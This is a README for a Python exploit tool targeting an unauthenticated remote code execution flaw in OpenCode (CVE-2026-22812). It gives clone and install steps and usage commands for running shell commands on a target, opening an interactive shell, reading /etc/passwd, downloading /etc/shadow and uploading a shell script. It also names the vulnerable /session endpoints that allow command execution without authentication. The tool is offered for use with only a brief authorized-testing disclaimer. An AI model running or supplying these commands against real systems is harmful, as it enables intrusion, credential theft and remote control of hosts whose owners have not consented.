
Python exploit tool for OpenCode RCE (CVE-2026-22812) providing command execution, file read/write/upload/download, and interactive shell for authorized penetration testing.
A Python exploitation tool for OpenCode Remote Code Execution (RCE) vulnerability affecting versions < v1.0.216. This tool provides multiple attack vectors including command execution, file read/write, file upload/download, and interactive shell.
⚠️ FOR AUTHORIZED TESTING ONLY ⚠️
# Clone repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-22812.git
cd CVE-2026-22812
# Install dependencies
pip install requests urllib3
# Make executable (optional)
chmod +x CVE-2026-22812.py
requests libraryurllib3 librarypython3 CVE-2026-22812.py -t http://target:port [options]
# Check if target is vulnerable
python3 exploit.py -t http://10.0.0.1:4096 --check
# Interactive shell
python3 exploit.py -t http://10.0.0.1:4096 -i
# Execute single command
python3 exploit.py -t http://10.0.0.1:4096 -c "id"
# Read file
python3 exploit.py -t http://10.0.0.1:4096 -r /etc/passwd
# Upload file
python3 exploit.py -t http://10.0.0.1:4096 --upload shell.sh /tmp/shell.sh
# Download file
python3 exploit.py -t http://10.0.0.1:4096 --download /etc/shadow shadow.txt
# Get system information
python3 exploit.py -t http://10.0.0.1:4096 --info
# Use proxy (Burp Suite, etc.)
python3 exploit.py -t http://10.0.0.1:4096 -c "whoami" --proxy http://127.0.0.1:8080
Once in the interactive shell (-i flag), you can use:
<command> Execute shell command
help Show help menu
exit Exit shell
session Show session ID
stats Show exploitation statistics
read <file> Read file content
download <remote> <local> Download file
upload <local> <remote> Upload file
sysinfo Get system information
The vulnerability exists in the session management endpoint (/session) which allows unauthenticated users to create sessions and execute arbitrary commands through the /session/{id}/shell endpoint.
POST /session - Create sessionPOST /session/{id}/shell - Execute commandsGET /file/content - Read filesCVE-2026-22812.py
├── Colors class (ANSI color codes)
├── print_banner() (Display banner)
├── Exploit class (Main exploit logic)
│ ├── __init__() (Initialization)
│ ├── check_vuln() (Vulnerability check)
│ ├── create_session() (Create session)
│ ├── exec_cmd() (Execute command)
│ ├── read_file() (Read file)
│ ├── write_file() (Write file)
│ ├── upload() (Upload file)
│ ├── download() (Download file)
│ ├── get_info() (System info)
│ ├── shell() (Interactive shell)
│ └── Helper methods
└── main() (Argument parsing)
This tool is released for educational purposes only. Use at your own risk.
For issues and questions, please: